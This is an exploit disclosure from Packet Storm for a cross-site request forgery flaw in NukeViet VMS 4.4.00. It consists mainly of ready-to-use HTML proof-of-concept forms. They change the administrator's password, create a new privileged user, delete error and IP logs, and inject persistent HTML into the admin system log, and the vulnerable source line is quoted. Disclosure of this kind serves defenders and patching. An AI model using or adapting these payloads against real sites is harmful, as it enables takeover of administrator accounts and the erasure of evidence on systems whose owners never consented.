exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NukeViet VMS 4.4.00 Cross Site Request Forgery

NukeViet VMS 4.4.00 Cross Site Request Forgery
Posted May 19, 2020
Authored by JEBARAJ

NukeViet VMS version 4.4.00 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 1014d9646eb512c83eb992918814cf4ea94a6614ef5ad2d474ebd21a4040fdc1

NukeViet VMS 4.4.00 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: NukeViet VMS 4.4.00 - Cross-Site Request Forgery (Change Admin Password)
# Date: 2020-05-18
# Exploit Author: JEBARAJ
# Vendor Homepage: https://nukeviet.vn/
# Software Link: https://github.com/nukeviet/nukeviet/releases/download/4.4.00/nukeviet4.4.00setup.zip
# Version: 4.4.00
# Tested on: Windows 10 Pro
# CVE : N/A
+---------------------------------------------------------------------------------------------------------------------------------------------------+

Description:
NukeViet CMS v4.4.00 suffer from Cross Site Request Forgery (CSRF) vulnerability.This Vulnerabilty lets attacker change profile details and password of the user without knowing thier old password. Create a new user with admin privileges. Delete Sensitive and other log files.

1. Changing password of Admin user and thier profile details

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/nukeviet/admin/index.php?language=en&nv=users&op=edit&userid=1" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="admin@admin.com" />
<input type="hidden" name="first_name" value="admin" />
<input type="hidden" name="last_name" value="" />
<input type="hidden" name="gender" value="N" />
<input type="hidden" name="birthday" value="07/05/1986" />
<input type="hidden" name="sig" value="" />
<input type="hidden" name="question" value="123" />
<input type="hidden" name="answer" value="1234" />
<input type="hidden" name="photo" value="" />
<input type="hidden" name="group_default" value="1" />
<input type="hidden" name="password1" value="Admin123456" />
<input type="hidden" name="password2" value="Admin123456" />
<input type="hidden" name="confirm" value="1" />
<input type="hidden" name="nv_redirect" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

2. Create new user.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/nukeviet/admin/index.php?language=en&nv=users&op=user_add" method="POST">
<input type="hidden" name="username" value="aaaaa" />
<input type="hidden" name="email" value="aaaaaaa@aaaaaaaaaa.com" />
<input type="hidden" name="password1" value="VeK8hsRYn9TRk7z" />
<input type="hidden" name="password2" value="VeK8hsRYn9TRk7z" />
<input type="hidden" name="first_name" value="asdf" />
<input type="hidden" name="last_name" value="asdf" />
<input type="hidden" name="gender" value="M" />
<input type="hidden" name="birthday" value="01/05/1994" />
<input type="hidden" name="sig" value="" />
<input type="hidden" name="question" value="asdf" />
<input type="hidden" name="answer" value="asdf" />
<input type="hidden" name="photo" value="" />
<input type="hidden" name="is_official" value="1" />
<input type="hidden" name="is_email_verified" value="1" />
<input type="hidden" name="confirm" value="1" />
<input type="hidden" name="nv_redirect" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>



3. Deleting Log files

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/nukeviet/admin/index.php?language=en&nv=webtools&op=clearsystem" method="POST">
<input type="hidden" name="check_all[]" value="yes" />
<input type="hidden" name="submit" value="Submit" />
<input type="hidden" name="deltype[]" value="clearcache" />
<input type="hidden" name="deltype[]" value="clearfiletemp" />
<input type="hidden" name="deltype[]" value="clearerrorlogs" />
<input type="hidden" name="deltype[]" value="clearip_logs" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Persistent HTML injection via CSRF

Since the application has xss protection header it is hard to get an XSS. HTML injection is possible via unsanitized parameter passed to database and then displayed in Informations -> system logs tab on admin panel.

Vulnerable Source code:
clearsystem.php -> line 58
nv_insert_logs(NV_LANG_DATA, $module_name, $lang_module['clearsystem'], implode(", ", $deltype), $admin_info['userid']);

There are many instances like this triggering to html injection.

P0c: htmlinjection.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/nukeviet/admin/index.php?language=en&nv=webtools&op=clearsystem" method="POST">
<input type="hidden" name="submit" value="Submit" />
<input type="hidden" name="deltype[]" value="test:<input type="text"/>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close